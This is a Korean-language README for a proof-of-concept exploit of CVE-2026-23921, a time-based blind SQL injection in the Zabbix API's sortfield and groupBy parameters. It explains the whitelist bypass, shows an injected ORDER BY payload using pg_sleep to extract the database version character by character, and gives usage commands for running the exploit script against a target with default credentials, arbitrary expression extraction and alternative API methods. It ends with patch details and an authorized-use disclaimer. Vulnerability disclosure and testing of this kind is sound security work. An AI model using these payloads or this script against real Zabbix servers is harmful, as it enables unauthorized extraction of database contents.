
CVE-2026-23921에 대한 개념 증명 익스플로잇으로, sortfield 파라미터를 통해 Zabbix API에서 발생하는 시간 기반 블라인드 SQL 인젝션으로, PostgreSQL 및 MySQL 백엔드에서 데이터 추출을 가능하게 합니다.
영향받는 버전: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: 높음
유형: sortfield 파라미터를 통한 시간 기반 블라인드 SQL 인젝션
인증 필요: 예 (모든 API 사용자, Super Admin은 권한 조인을 회피함)
레거시 Zabbix API 서비스(host.get, trigger.get, item.get 등)는 zbx_array_merge()를 통해 선언되지 않은 groupBy 파라미터를 허용합니다. CApiService::applyQuerySortOptions()에서 groupBy 배열이 sortfield를 검증하는 데 사용되는 하드코딩된 화이트리스트를 대체합니다. 공격자는 동일한 SQL 페이로드를 와 양쪽에 전달합니다. 검증은 공격자가 제어하는 목록에 대해 통과되고, 페이로드는 이스케이프 없이 에 삽입됩니다.
groupBysortfieldORDER BYcountOutput: true와 함께 groupBy: ["hostid,(SELECT IF(...))--"] 및 sortfield: "hostid,(SELECT IF(...))--"를 전송zbx_array_merge가 선언되지 않은 groupBy 키를 보존applyQuerySortOptions가 groupBy로부터 화이트리스트를 구성 → 검증 통과applyQuerySortField가 페이로드를 ORDER BY에 연결createSelectQueryFromParts가 이스케이프 없이 최종 SQL을 구성SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL 백엔드 (기본값)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL 백엔드
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# 기존 인증 토큰
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# 임의 표현식 추출
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# 다른 API 메서드 사용
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Zabbix 7.0.22 / 7.2.15 / 7.4.6 이상으로 업그레이드하십시오.
패치는 array_merge($options['groupBy'], ...)를 array_intersect($this->sortColumns, $options['groupBy'])로 대체하여 공격자가 제공한 값이 화이트리스트에 절대 들어가지 않도록 합니다. 심층 방어로 추가적인 is_string() 및 is_array() 타입 검사가 추가되었습니다.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 소유하거나 명시적인 서면 허가를 받은 시스템에만 사용하십시오.